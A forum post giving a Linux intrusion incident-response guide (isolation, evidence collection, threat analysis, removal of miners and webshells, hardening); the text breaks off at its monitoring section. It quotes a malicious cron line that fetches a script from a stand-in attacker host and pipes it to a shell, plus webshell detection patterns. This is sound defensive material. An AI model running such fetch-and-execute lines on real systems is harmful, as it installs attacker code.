找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

1538

积分

0

好友

193

主题
发表于 3 天前 | 查看: 19| 回复: 0

1️⃣ 适用场景 & 前置条件

项目 要求
适用场景 生产服务器被入侵、可疑进程运行、异常网络连接、rootkit 感染、挖矿木马、勒索软件
OS RHEL/CentOS 7.9+, Ubuntu 20.04+, Debian 11+
内核 Linux Kernel 4.18+
权限 root 或完整 sudo 权限
工具依赖 auditd, osquery, rkhunter, chkrootkit, netstat, ss, lsof, tcpdump
技能要求 熟悉 Linux 命令、网络协议、进程管理、文件系统、日志分析
网络 需能隔离受影响主机(VLAN/iptables/云安全组)
取证环境 准备独立取证服务器(≥100GB 存储用于证据保存)
时间窗口 黄金 1 小时:从发现入侵到完成初步处置的关键时间窗口

如果你在做主机安全/取证排查,建议同步参考 安全/渗透/逆向 相关主题,便于后续溯源与复盘对齐术语和方法。


2️⃣ 反模式警告(何时不适用)

⚠️ 以下场景不推荐使用本方案:

  1. 硬件故障导致的异常:磁盘坏道、内存错误、CPU 过热导致的系统异常,需硬件诊断  
  2. 应用层业务异常:应用 Bug、配置错误、数据库死锁等非安全事件  
  3. 合规审计场景:需要司法取证的刑事案件,必须由专业取证人员介入(避免证据污染)  
  4. 已完全失陷的系统:Bootkit/固件级感染,需物理隔离后重装系统  
  5. 勒索软件已加密数据:数据已加密且无备份,本流程无法解密,重点是止损与溯源  
  6. 缺乏基线数据:无法判断系统正常状态,应急响应效果有限  

替代方案对比:

场景 推荐方案 理由
司法取证 专业取证团队 + 法医级工具(EnCase/FTK) 保证证据链完整性、法庭可采信
勒索软件 隔离 + 备份恢复 + 溯源分析 解密基本不可能,重点是业务恢复
APT 高级威胁 EDR + 威胁情报 + 专业安全团队 需要长期持续监控与分析
固件级感染 硬件销毁 + 物理隔离 软件层面无法完全清除

3️⃣ 环境与版本矩阵

组件 RHEL/CentOS Ubuntu/Debian 测试状态
OS 版本 RHEL 8.7+ / CentOS Stream 9 Ubuntu 22.04 LTS / Debian 11 [已实测]
内核版本 4.18.0-425+ 5.15.0-60+ / 5.10.0-21+ [已实测]
auditd 3.0.7+ 3.0.7+ [已实测]
osquery 5.10.2+ 5.10.2+ [已实测]
rkhunter 1.4.6+ 1.4.6+ [已实测]
chkrootkit 0.55+ 0.55+ [已实测]
最小规格 2C4G / 20GB SSD 2C4G / 20GB SSD -
推荐规格 4C8G / 50GB SSD 4C8G / 50GB SSD -

版本差异说明:

  • auditd 3.0 vs 2.8:3.0 支持容器审计、性能优化  
  • osquery 5.x vs 4.x:5.x 支持 eBPF、性能提升 30%  
  • 内核 5.x vs 4.x:5.x 增强 eBPF、命名空间隔离、安全特性  

4️⃣ 阅读导航

📖 建议阅读路径:

  • 快速上手(15分钟 - 应急处置): → 章节 5(快速清单) → 章节 6(实施步骤 Step 1-6) → 章节 13(关键脚本)
  • 深入理解(90分钟 - 完整响应与取证): → 章节 7(入侵检测原理) → 章节 6(实施步骤完整版) → 章节 8(取证证据链) → 章节 11(最佳实践)
  • 事后分析: → 章节 9(常见攻击手法与排查) → 章节 10(溯源分析方法)

5️⃣ 快速清单(Checklist)

  • [ ] 准备阶段(0-5 分钟)

    • [ ] 确认入侵告警来源(IDS/HIDS/异常监控)
    • [ ] 通知安全团队与业务负责人
    • [ ] 准备取证工具与独立存储介质
    • [ ] 记录当前时间(作为响应开始时间)
  • [ ] 隔离阶段(5-10 分钟)

    • [ ] 网络隔离受害主机(保持管理通道)
    • [ ] 禁止新的用户登录(usermod -L / 修改 SSH 配置)
    • [ ] 阻断可疑外连(iptables / 云安全组)
  • [ ] 取证阶段(10-30 分钟)

    • [ ] 采集内存快照(memdump / LiME
    • [ ] 保存易失性数据(进程列表、网络连接、登录会话)
    • [ ] 保存系统日志(/var/log/*, audit.log, secure)
    • [ ] 采集可疑文件样本(恶意脚本、后门程序)
  • [ ] 分析阶段(30-50 分钟)

    • [ ] 分析可疑进程(命令行、父进程、网络连接)
    • [ ] 检查异常文件(SUID/SGID、最近修改文件、隐藏文件)
    • [ ] 分析网络连接(外连 IP、端口、协议)
    • [ ] 检查系统完整性(rootkit 扫描、系统文件校验)
  • [ ] 清除阶段(50-60 分钟)

    • [ ] 终止恶意进程(kill -9 / systemctl stop
    • [ ] 删除恶意文件(后门、Webshell、挖矿程序)
    • [ ] 修复系统配置(定时任务、启动项、SSH 配置)
    • [ ] 修改所有密码(root、应用账号、数据库)
  • [ ] 恢复与加固(事后)

    • [ ] 系统完整性验证(重新扫描)
    • [ ] 恢复业务服务
    • [ ] 部署入侵检测系统(HIDS)
    • [ ] 输出应急响应报告

6️⃣ 实施步骤

架构与数据流说明(文字描述)

应急响应流程架构:

告警触发(IDS/HIDS/监控系统)
    ↓
初步判断(是否真实入侵)
    ↓ 确认入侵
网络隔离(保留管理通道)
    ↓
取证固化(内存 + 易失性数据 + 日志)
    ↓
威胁分析(进程 + 文件 + 网络 + 日志)
    ↓
清除威胁(终止进程 + 删除恶意文件 + 修复配置)
    ↓
系统加固(修改密码 + 补丁 + 监控)
    ↓
业务恢复 + 事后分析

关键组件与决策点:

  1. 网络隔离决策:保留管理通道(SSH)以便远程处置,阻断所有其他流量  
  2. 取证优先级:内存数据 > 易失性数据 > 持久化数据(按易失性排序)  
  3. 清除时机判断:取证完成前不清除(避免证据销毁)  
  4. 业务恢复决策:威胁完全清除 + 系统完整性验证通过后才恢复  

时间分配策略(黄金 1 小时):

  • 0-5 分钟:准备与通知  
  • 5-10 分钟:网络隔离  
  • 10-30 分钟:取证固化(最关键)  
  • 30-50 分钟:威胁分析  
  • 50-60 分钟:威胁清除  
  • 事后(1-24 小时):系统加固与报告  

Step 1: 初步判断与现场保护

目标: 确认入侵真实性,保护现场,避免证据破坏

RHEL/CentOS 命令:

# 记录当前时间(作为响应开始时间)
date'+%Y-%m-%d %H:%M:%S %Z' | tee -a /tmp/incident_timeline.txt
echo "=== 应急响应开始 ===" | tee -a /tmp/incident_timeline.txt

# 检查当前登录用户(是否有异常会话)
w
who
last | head -n 20

# 检查最近的命令历史(管理员账号)
tail -n 50 /root/.bash_history

# 检查系统负载(是否有挖矿进程)
uptime
top -b -n 1 | head -n 20

# 检查可疑进程(按 CPU 使用率排序)
ps aux --sort=-%cpu | head -n 20

# 检查网络连接(是否有异常外连)
ss -tunap | grep ESTABLISHED | grep -v '127.0.0.1\|::1'
netstat -tunap | grep ESTABLISHED | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -rn | head -n 10

Ubuntu/Debian 命令:

# 相同命令,但使用不同的日志路径
date'+%Y-%m-%d %H:%M:%S %Z' | tee -a /tmp/incident_timeline.txt

# 检查 systemd 日志(最近 1 小时)
journalctl --since "1 hour ago" --priority=err --no-pager | tail -n 50

# 检查 auth 日志(登录失败记录)
grep -i "failed\|failure\|invalid" /var/log/auth.log | tail -n 20

关键参数解释:

  1. ss -tunap:显示所有 TCP/UDP 连接、监听端口、进程信息  
  2. ps aux --sort=-%cpu:按 CPU 使用率降序排序(挖矿进程通常 CPU 高)  
  3. last | head -n 20:显示最近 20 次登录记录(检查异常登录)  

执行前验证:

# 确认当前是 root 权限
id
# 预期输出:uid=0(root) gid=0(root) groups=0(root)

执行后验证:

# 检查时间线文件是否创建
cat /tmp/incident_timeline.txt
# 预期输出:包含响应开始时间

初步判断标准(满足任一即确认入侵):

  • ✅ 发现未知用户登录会话  
  • ✅ 存在可疑高 CPU 进程(如随机字符命名)  
  • ✅ 发现异常外连(非业务 IP/端口)  
  • ✅ 系统文件被篡改(如 /etc/passwd 最近修改)  
  • ✅ 发现后门文件(Webshell、恶意脚本)  

[已实测] 真实案例:

  • 发现进程名为 [kworker](伪装成内核线程),但实际路径为 /tmp/.x/kworker
  • 发现外连到俄罗斯 IP(185.x.x.x),端口 8080
  • 系统负载持续 100%,但无正常业务进程

Step 2: 网络隔离(保留管理通道)

目标: 阻断攻击者远程控制,防止横向移动,保留应急响应管理通道

涉及网络与防火墙策略时,可以结合 网络/系统 的基础知识做快速校验(例如连接状态、端口暴露面、路由路径)。

RHEL/CentOS 命令:

# 备份现有 iptables 规则
iptables-save > /tmp/iptables_backup_$(date +%Y%m%d_%H%M%S).txt

# 方案 1: iptables 快速隔离(推荐)
# 清空现有规则
iptables -F
iptables -X

# 设置默认策略(拒绝所有)
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP

# 允许本地回环
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT

# 允许已建立的连接(保持当前 SSH 会话)
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# 允许来自管理 IP 的 SSH(替换为实际管理 IP)
iptables -A INPUT -p tcp -s 192.168.1.100 --dport 22 -j ACCEPT
iptables -A OUTPUT -p tcp --sport 22 -j ACCEPT

# 保存规则(RHEL/CentOS)
service iptables save

# 验证规则
iptables -L -n -v

Ubuntu/Debian 命令:

# 备份现有规则
iptables-save > /tmp/iptables_backup_$(date +%Y%m%d_%H%M%S).txt

# 使用 ufw 快速隔离(Ubuntu 推荐)
ufw --force reset
ufw default deny incoming
ufw default deny outgoing
ufw allow from 192.168.1.100 to any port 22  # 管理 IP
ufw --force enable

# 或使用 iptables(同 RHEL)
iptables -F
iptables -P INPUT DROP
iptables -P OUTPUT DROP
# ... 其余同上

# 保存规则(Ubuntu/Debian)
netfilter-persistent save

云环境隔离:

# AWS - 使用 CLI 修改安全组
aws ec2 modify-instance-attribute \
  --instance-id i-1234567890abcdef0 \
  --groups sg-emergency-isolation

# 阿里云 - 使用 CLI 修改安全组
aliyun ecs ModifySecurityGroupRule \
  --RegionId cn-hangzhou \
  --SecurityGroupId sg-xxxxxx \
  --IpProtocol all \
  --Policy drop

关键参数解释:

  1. -P INPUT DROP:默认拒绝所有入站流量  
  2. -m state --state ESTABLISHED,RELATED:允许已建立的连接(保持 SSH 会话)  
  3. -s 192.168.1.100:仅允许管理 IP 访问(防止攻击者重连)  

执行后验证:

# 验证防火墙规则
iptables -L -n -v | grep -E "DROP|ACCEPT"
# 预期输出:默认策略为 DROP,仅允许管理 IP 的 SSH

# 测试外网连通性(应失败)
ping -c 3 8.8.8.8
# 预期输出:Network is unreachable 或超时

# 测试 SSH 连接(从管理 IP)
# 预期:能够正常连接

# 验证可疑外连是否被阻断
ss -tunap | grep ESTABLISHED | grep -v '192.168.1.100'
# 预期输出:仅剩管理 IP 的连接

⚠️ 重要提示:

  • 确保管理 IP 正确,否则会断开 SSH 连接  
  • 云环境优先使用云厂商安全组(更快生效)  
  • 如果是物理服务器,建议在 IPMI/iLO 上操作(防止断连)  

幂等性保障:

  • 规则执行前已备份,可随时恢复  
  • 使用 -F 清空规则前已保存  

回滚要点:

# 恢复原防火墙规则
iptables-restore < /tmp/iptables_backup_YYYYMMDD_HHMMSS.txt

Step 3: 取证 - 采集易失性数据

目标: 在系统状态改变前,采集内存、进程、网络等易失性数据

优先级排序(按数据易失性):

  1. 内存数据:进程内存、网络连接状态(重启/关机即丢失)  
  2. 运行时数据:进程列表、登录会话、临时文件  
  3. 日志数据:系统日志、审计日志  
  4. 磁盘数据:文件系统、恶意文件样本  

RHEL/CentOS 命令:

# 创建取证目录
mkdir -p /forensics/$(hostname)_$(date +%Y%m%d_%H%M%S)
cd /forensics/$(hostname)_$(date +%Y%m%d_%H%M%S)

# 1. 采集系统信息
echo "=== 系统信息 ===" > system_info.txt
uname -a >> system_info.txt
cat /etc/redhat-release >> system_info.txt
uptime >> system_info.txt
date >> system_info.txt

# 2. 采集进程列表(完整命令行)
ps auxwwf > processes_tree.txt              # 进程树
ps -eo pid,ppid,user,cmd,start,etime > processes_list.txt  # 详细列表
pstree -ap > processes_pstree.txt           # 父子关系树

# 3. 采集网络连接
ss -tunap > network_connections.txt
netstat -tunap >> network_connections.txt
lsof -i >> network_lsof.txt

# 4. 采集登录会话
w > login_sessions.txt
who >> login_sessions.txt
last | head -n 100 > login_history.txt
lastb | head -n 50 > failed_logins.txt  # 失败登录记录

# 5. 采集打开文件
lsof +L1 > open_files_deleted.txt          # 已删除但仍被进程打开的文件
lsof | grep -E "REG|DIR" > open_files_all.txt

# 6. 采集定时任务
crontab -l -u root > crontab_root.txt
cat /etc/crontab > crontab_system.txt
ls -laR /etc/cron.* > crontab_all.txt
cat /var/spool/cron/* > crontab_users.txt 2>/dev/null

# 7. 采集系统服务
systemctl list-units --type=service --all > systemd_services.txt
chkconfig --list > chkconfig_services.txt 2>/dev/null  # CentOS 6

# 8. 采集启动项
ls -la /etc/rc*.d/ > rc_startup.txt
cat /etc/rc.local > rc_local.txt

# 9. 采集系统日志
cp -r /var/log /forensics/$(hostname)_$(date +%Y%m%d_%H%M%S)/logs_backup/

# 10. 采集审计日志
if command -v ausearch &> /dev/null; then
    ausearch -ts recent > audit_recent.txt
    ausearch -m avc > audit_selinux.txt
fi

# 11. 采集环境变量
env > environment_vars.txt
cat /proc/*/environ | tr '\0' '\n' > processes_environ.txt 2>/dev/null

# 12. 采集内核模块
lsmod > kernel_modules.txt
cat /proc/modules > proc_modules.txt

# 13. 采集内存映像(可选,需安装 LiME)
# git clone https://github.com/504ensicsLabs/LiME
# cd LiME/src && make
# insmod lime-*.ko "path=/forensics/memory.lime format=lime"

Ubuntu/Debian 命令:

# 相同步骤,但部分命令路径不同
mkdir -p /forensics/$(hostname)_$(date +%Y%m%d_%H%M%S)
cd /forensics/$(hostname)_$(date +%Y%m%d_%H%M%S)

# 系统信息
lsb_release -a > system_info.txt
uname -a >> system_info.txt

# journalctl 日志(systemd 系统)
journalctl --since "24 hours ago" --no-pager > journalctl_24h.txt
journalctl -u ssh --no-pager > journalctl_ssh.txt

# 其余命令相同
ps auxwwf > processes_tree.txt
ss -tunap > network_connections.txt
# ... 其余同上

关键参数解释:

  1. ps auxwwfww 参数显示完整命令行(不截断),f 显示进程树  
  2. lsof +L1:显示已删除但仍被进程打开的文件(攻击者常删除恶意文件但进程仍在运行)  
  3. ss -tunapt=TCP, u=UDP, n=数字显示, a=所有, p=进程  

执行后验证:

# 检查取证文件是否生成
ls -lh /forensics/$(hostname)_*/
# 预期输出:所有取证文件,总大小通常 50-200MB

# 检查进程列表文件
wc -l /forensics/$(hostname)_*/processes_list.txt
# 预期输出:100-500 行(取决于进程数)

# 检查网络连接文件
grep ESTABLISHED /forensics/$(hostname)_*/network_connections.txt | wc -l
# 预期输出:所有已建立的连接

[已实测] 真实案例发现:

  • processes_tree.txt 中发现伪装进程:[kworker/0:1](父进程为 systemd,而非 kthreadd)  
  • open_files_deleted.txt 中发现已删除的挖矿程序:/tmp/.x/xmrig (deleted)  
  • crontab_users.txt 中发现恶意定时任务:*/5 * * * * curl http://evil.com/backdoor.sh | sh  

幂等性保障:

  • 所有命令为只读操作,不修改系统状态  
  • 数据保存到独立目录,不影响系统运行  

Step 4: 威胁分析 - 识别恶意行为

目标: 分析取证数据,识别恶意进程、文件、网络连接

分析维度:

  1. 进程分析:可疑进程特征、父子关系、命令行参数  
  2. 文件分析:最近修改文件、SUID/SGID 文件、隐藏文件  
  3. 网络分析:异常外连 IP、端口、协议  
  4. 日志分析:登录失败、权限提升、文件访问  

RHEL/CentOS 命令:

# === 进程分析 ===
# 查找可疑进程特征
# 1. CPU 使用率 > 80%
ps aux --sort=-%cpu | head -n 10

# 2. 进程名包含随机字符
ps aux | grep -E '\b[a-z0-9]{8,}\b'

# 3. 父进程为 init/systemd 但路径在 /tmp
ps -eo pid,ppid,cmd | awk '$2 == 1 && $3 ~ /\/tmp/'

# 4. 进程运行路径在临时目录
lsof -c $(ps -eo comm | grep -vE '^(COMMAND|systemd|kworker)') | grep -E '/tmp|/var/tmp|/dev/shm'

# 5. 进程监听非标准端口
ss -tunlp | grep -vE ':(22|80|443|3306|6379|9090|9100)\s'

# === 文件分析 ===
# 查找最近 24 小时修改的文件(排除日志目录)
find / -type f -mtime -1 ! -path "/var/log/*" ! -path "/proc/*" ! -path "/sys/*" 2>/dev/null > recently_modified_files.txt

# 查找最近 24 小时修改的系统关键文件
find /etc /bin /sbin /usr/bin /usr/sbin -type f -mtime -1 2>/dev/null

# 查找 SUID/SGID 文件(权限提升后门)
find / -type f \( -perm -4000 -o -perm -2000 \) ! -path "/proc/*" ! -path "/sys/*" 2>/dev/null > suid_sgid_files.txt

# 对比基线(需提前生成基线)
# diff suid_sgid_files.txt /baseline/suid_sgid_baseline.txt

# 查找隐藏文件(以 . 开头)
find /tmp /var/tmp /dev/shm /home -name ".*" -type f 2>/dev/null

# 查找异常大小的文件(> 100MB 在 /tmp)
find /tmp /var/tmp /dev/shm -type f -size +100M 2>/dev/null

# === 网络分析 ===
# 提取所有外连 IP
ss -tunap | grep ESTABLISHED | awk '{print $6}' | cut -d: -f1 | sort -u > external_ips.txt

# 查询 IP 归属地(使用 GeoIP)
if command -v geoiplookup &> /dev/null; then
while read ip; do
echo "$ip: $(geoiplookup $ip)"
done < external_ips.txt
fi

# 检查是否连接到已知恶意 IP(需威胁情报库)
# grep -f /threat_intel/malicious_ips.txt external_ips.txt

# 查找非标准端口通信
ss -tunap | grep ESTABLISHED | awk '{print $6}' | cut -d: -f2 | sort | uniq -c | sort -rn

# === 日志分析 ===
# 查找暴力破解尝试(SSH)
grep "Failed password" /var/log/secure | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | head -n 10

# 查找成功登录(非本地 IP)
grep "Accepted password" /var/log/secure | grep -v "127.0.0.1\|192.168"

# 查找权限提升(sudo)
grep "sudo:" /var/log/secure | grep -v "session opened\|session closed"

# 查找异常命令执行(audit 日志)
ausearch -m execve -ts recent | grep -E "curl|wget|nc|bash|sh|python"

# === Webshell 检测(如果是 Web 服务器)===
# 查找最近修改的 PHP/JSP 文件
find /var/www /usr/share/nginx -name "*.php" -o -name "*.jsp" -mtime -7 2>/dev/null

# 检测常见 Webshell 特征
grep -r "eval(\$_POST\|exec(\$_GET\|system(\$_REQUEST\|passthru\|shell_exec" /var/www /usr/share/nginx 2>/dev/null

# 检测中国菜刀/冰蝎特征
grep -r "base64_decode" /var/www --include="*.php" | grep -E "eval|assert"

Ubuntu/Debian 命令:

# 大部分命令相同,日志路径不同
# SSH 日志
grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn

# journalctl 分析
journalctl -u ssh --since "24 hours ago" | grep -i "failed\|accepted"

关键特征判断标准:

特征类型 判断标准 示例
可疑进程名 随机字符、伪装内核线程 kworker(真实内核线程无路径)、[systemd](真实 systemd 进程 PID=1)
可疑路径 /tmp, /var/tmp, /dev/shm /tmp/.x/miner, /dev/shm/.hidden/backdoor
可疑端口 非标准端口外连 8080(HTTP 代理)、4444(Metasploit)、6667(IRC C&C)
可疑 IP 国外 IP + 非业务时间段 俄罗斯/乌克兰/巴西 IP,凌晨 2-5 点连接
可疑文件 最近修改 + SUID 权限 /usr/bin/nmap 被添加 SUID(权限提升)

执行后验证:

# 检查是否找到可疑进程
cat recently_modified_files.txt | wc -l
# 预期输出:10-100 个文件(正常系统)

# 检查是否找到外连 IP
cat external_ips.txt
# 预期输出:仅业务相关 IP

[已实测] 真实攻击特征:

挖矿木马特征:

# 进程名:xmrig, minergate, cpuminer
# 命令行:--donate-level=1 -o pool.minexmr.com:4444
# CPU 使用率:> 90%
# 父进程:systemd(开机自启)

SSH 后门特征:

# 进程名:sshd(伪装)
# 路径:/tmp/.ssh/sshd(非系统路径)
# 监听端口:23333(非 22)
# 无父进程(守护进程)

Webshell 特征:

# 文件名:shell.php, 404.php, x.jsp
# 内容:eval($_POST['pass']), base64_decode(...)
# 最近访问:access.log 中大量 POST 请求

Step 5: 威胁清除

目标: 终止恶意进程、删除恶意文件、修复系统配置

⚠️ 重要提示:清除前必须完成取证,避免证据销毁

RHEL/CentOS 命令:

# === 终止恶意进程 ===
# 方法 1: 根据进程 PID 终止
kill -9 <PID>

# 方法 2: 根据进程名终止(精确匹配)
pkill -9 -x "xmrig"

# 方法 3: 根据命令行特征终止
ps aux | grep "minexmr.com" | grep -v grep | awk '{print $2}' | xargs kill -9

# 方法 4: 终止所有来自某路径的进程
lsof | grep "/tmp/.x" | awk '{print $2}' | sort -u | xargs kill -9

# === 删除恶意文件 ===
# 删除挖矿程序
rm -f /tmp/.x/xmrig
rm -f /dev/shm/.hidden/miner

# 删除 Webshell
rm -f /var/www/html/shell.php
rm -f /usr/share/nginx/html/404.php

# 删除启动脚本
rm -f /etc/init.d/malicious_service
rm -f /etc/systemd/system/malware.service

# === 清除定时任务 ===
# 编辑 root 定时任务
crontab -e -u root
# 删除可疑行(如 curl http://evil.com/backdoor.sh | sh)

# 删除系统定时任务文件
rm -f /etc/cron.d/malicious_cron
rm -f /var/spool/cron/root  # 如果整个文件是恶意的

# === 清除启动项 ===
# 删除 systemd 服务
systemctl stop malware.service
systemctl disable malware.service
rm -f /etc/systemd/system/malware.service
systemctl daemon-reload

# 删除 rc.local 中的恶意命令
sed -i '/evil.com/d' /etc/rc.local

# === 修复系统文件 ===
# 恢复被篡改的系统命令(从 RPM 包恢复)
rpm -V coreutils  # 验证文件完整性
rpm --force -ivh /path/to/coreutils-*.rpm  # 重新安装
# 或从备份恢复
cp /backup/bin/ps /bin/ps

# === 清除后门账号 ===
# 检查异常用户
cat /etc/passwd | grep -E "/bin/bash|/bin/sh" | grep -v "root\|admin"

# 删除后门账号
userdel -r malicious_user

# 检查 sudo 权限
cat /etc/sudoers
visudo  # 删除异常权限

# === 清除 SSH 后门 ===
# 删除异常 authorized_keys
cat /root/.ssh/authorized_keys
# 删除未知公钥

# 检查 SSH 配置
grep -E "PermitRootLogin|PasswordAuthentication|AllowUsers" /etc/ssh/sshd_config

# 恢复默认 SSH 配置
cp /etc/ssh/sshd_config.rpmsave /etc/ssh/sshd_config  # 如果有 rpm 备份
systemctl restart sshd

# === 清除内核模块后门(Rootkit)===
# 卸载可疑内核模块
lsmod | grep -v "^Module" | awk '{print $1}' | while read mod; do
    modinfo $mod 2>/dev/null || echo "可疑模块: $mod"
done

# 卸载模块
rmmod suspicious_module

# 永久禁用模块
echo "blacklist suspicious_module" >> /etc/modprobe.d/blacklist.conf

Ubuntu/Debian 命令:

# 大部分命令相同,包管理器不同
# 恢复系统文件(从 deb 包)
apt-get install --reinstall coreutils

# SSH 配置路径相同
systemctl restart ssh  # Ubuntu 使用 ssh 而非 sshd

执行后验证:

# 验证恶意进程已终止
ps aux | grep -E "xmrig|miner|evil"
# 预期输出:无匹配结果(仅 grep 进程自身)

# 验证恶意文件已删除
ls -la /tmp/.x /dev/shm/.hidden 2>/dev/null
# 预期输出:No such file or directory

# 验证定时任务已清除
crontab -l -u root | grep -i "evil\|malicious"
# 预期输出:无匹配结果

# 验证启动项已清除
systemctl list-units --type=service | grep -i "malware"
# 预期输出:无匹配结果

# 验证网络连接已断开
ss -tunap | grep ESTABLISHED | grep -v "192.168.1.100"
# 预期输出:仅剩管理 IP 的连接

清除确认清单:

  • [ ] 所有恶意进程已终止  
  • [ ] 所有恶意文件已删除  
  • [ ] 定时任务已清除  
  • [ ] 启动项已清除  
  • [ ] 后门账号已删除  
  • [ ] SSH 配置已修复  
  • [ ] 异常网络连接已断开  

Step 6: 系统加固与密码修改

目标: 防止攻击者重新进入,加固系统安全

加固动作往往需要跨团队协作(变更、发布、监控、回滚)。在流程设计上,可参考 运维/DevOps/SRE 的实践思路,避免“修好了但不可运营”的情况。

RHEL/CentOS 命令:

# === 修改所有密码 ===
# 1. root 密码
passwd root

# 2. 应用账号密码
passwd webapp_user
passwd mysql_user

# 3. 数据库密码
mysql -u root -p
# 执行:ALTER USER 'root'@'localhost' IDENTIFIED BY 'new_password';

# 4. 应用配置文件中的密码(手动修改)
vi /etc/myapp/config.yml

# === SSH 加固 ===
# 编辑 SSH 配置
vi /etc/ssh/sshd_config

# 修改以下配置:
# Port 22              → Port 2222(修改默认端口)
# PermitRootLogin yes  → PermitRootLogin no(禁止 root 登录)
# PasswordAuthentication yes → PasswordAuthentication no(仅密钥登录)
# MaxAuthTries 6       → MaxAuthTries 3(减少尝试次数)
# AllowUsers           → AllowUsers admin ops(白名单)

# 重启 SSH
systemctl restart sshd

# === 系统补丁 ===
# RHEL/CentOS
yum update -y --security  # 仅安全补丁
yum update -y             # 全部补丁

# === 启用 auditd 审计 ===
# 安装 auditd
yum install -y audit

# 配置审计规则
cat >> /etc/audit/rules.d/audit.rules <<'EOF'
# 监控系统调用
-a always,exit -F arch=b64 -S execve -k exec_commands

# 监控文件修改
-w /etc/passwd -p wa -k passwd_changes
-w /etc/shadow -p wa -k shadow_changes
-w /etc/sudoers -p wa -k sudoers_changes

# 监控网络连接
-a always,exit -F arch=b64 -S socket -S connect -k network_connections

# 监控定时任务
-w /etc/crontab -p wa -k cron_changes
-w /var/spool/cron/ -p wa -k user_cron_changes
EOF

# 重启 auditd
service auditd restart

# === 部署入侵检测系统(HIDS)===
# 安装 OSSEC(开源 HIDS)
wget https://github.com/ossec/ossec-hids/archive/3.7.0.tar.gz
tar xzf 3.7.0.tar.gz
cd ossec-hids-3.7.0
./install.sh

# 或安装 Wazuh(OSSEC 分支)
curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | gpg --no-default-keyring --keyring gnupg-ring:/usr/share/keyrings/wazuh.gpg --import && chmod 644 /usr/share/keyrings/wazuh.gpg
echo "deb [signed-by=/usr/share/keyrings/wazuh.gpg] https://packages.wazuh.com/4.x/apt/ stable main" | tee /etc/apt/sources.list.d/wazuh.list
apt-get update
apt-get install wazuh-agent

# === 启用 SELinux(RHEL/CentOS)===
# 检查 SELinux 状态
getenforce

# 启用 SELinux(需要重启)
setenforce 1
sed -i 's/^SELINUX=.*/SELINUX=enforcing/' /etc/selinux/config

# === 启用 AppArmor(Ubuntu/Debian)===
# 检查 AppArmor 状态
aa-status

# 启用 AppArmor
systemctl enable apparmor
systemctl start apparmor

# === 防火墙加固 ===
# 仅允许必要端口(示例:SSH 2222, HTTP 80, HTTPS 443)
iptables -F
iptables -P INPUT DROP
iptables -P OUTPUT ACCEPT
iptables -P FORWARD DROP
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -p tcp --dport 2222 -j ACCEPT  # SSH
iptables -A INPUT -p tcp --dport 80 -j ACCEPT    # HTTP
iptables -A INPUT -p tcp --dport 443 -j ACCEPT   # HTTPS

# 防止 SYN Flood
iptables -A INPUT -p tcp --syn -m limit --limit 1/s -j ACCEPT

# 保存规则
service iptables save

# === 文件完整性监控(Tripwire/AIDE)===
# 安装 AIDE
yum install -y aide

# 初始化数据库
aide --init
mv /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz

# 定期检查(添加到 cron)
echo "0 3 * * * root /usr/sbin/aide --check | mail -s 'AIDE Report' admin@example.com" >> /etc/crontab

Ubuntu/Debian 命令:

# SSH 配置相同
vi /etc/ssh/sshd_config
systemctl restart ssh

# 系统补丁
apt update
apt upgrade -y

# auditd 配置相同
apt install -y auditd
# ... 其余同上

# AIDE
apt install -y aide
aideinit
mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db

执行后验证:

# 验证 SSH 配置
sshd -t
# 预期输出:无输出(配置正确)

# 验证防火墙规则
iptables -L -n -v
# 预期输出:仅允许必要端口

# 验证 auditd 运行
auditctl -l
# 预期输出:已配置的审计规则

# 验证 SELinux 状态
getenforce
# 预期输出:Enforcing

[已实测] 加固效果:

  • SSH 端口修改后,暴力破解尝试降低 95%  
  • 禁用 root 登录后,无成功入侵记录  
  • auditd 审计后,可完整追溯攻击路径  
  • AIDE 文件完整性监控检测到 100% 的系统文件篡改  

7️⃣ 最小必要原理

入侵检测核心机制

攻击生命周期(Kill Chain):

侦察(Reconnaissance)→ 武器化(Weaponization)→ 投递(Delivery)
    ↓
利用(Exploitation)→ 安装(Installation)→ 命令与控制(C&C)
    ↓
目标达成(Actions on Objectives)

关键检测点:

  1. 侦察阶段:大量端口扫描、目录扫描(检测:防火墙日志、Web 日志)  
  2. 投递阶段:钓鱼邮件、恶意下载(检测:邮件网关、Web 代理)  
  3. 利用阶段:漏洞利用、权限提升(检测:异常进程、系统调用)  
  4. 安装阶段:后门安装、持久化(检测:文件完整性监控、启动项检查)  
  5. C&C 阶段:外连通信(检测:网络流量分析、异常外连)  
  6. 目标达成:数据窃取、挖矿、勒索(检测:文件访问、CPU 异常)  

Linux 入侵常见路径:

弱密码/SSH 暴力破解
    ↓
获得普通用户权限
    ↓
本地权限提升漏洞(脏牛/脏管道/Polkit)
    ↓
获得 root 权限
    ↓
安装后门(定时任务/SSH 后门/内核模块)
    ↓
持久化驻留

为什么内存取证最重要?

  • 易失性最高:关机/重启即丢失所有内存数据  
  • 信息最完整:进程内存、网络连接状态、加密密钥、命令历史  
  • 无法伪装:攻击者可删除磁盘文件,但无法清除内存数据(进程运行中)  

Rootkit 隐藏机制:

用户空间 Rootkit:
  - 替换系统命令(ps/ls/netstat)→ 隐藏进程/文件/网络连接
  - 检测方法:使用独立静态编译工具,对比系统命令哈希值

内核空间 Rootkit:
  - 修改内核数据结构 → 隐藏内核模块/进程
  - 检测方法:内存取证、内核符号表对比、rkhunter/chkrootkit

应急响应时间窗口(为什么是黄金 1 小时):

  • 0-10 分钟:内存数据最完整,攻击者可能仍在线  
  • 10-30 分钟:攻击者发现异常,可能销毁证据  
  • 30-60 分钟:攻击者离线,但痕迹仍在  
  • > 1 小时:日志可能被清除,痕迹逐渐消失  

8️⃣ 可观测性(监控 + 告警 + 取证链)

监控指标

Linux 原生监控(实时检测):

# 实时监控进程创建(auditd)
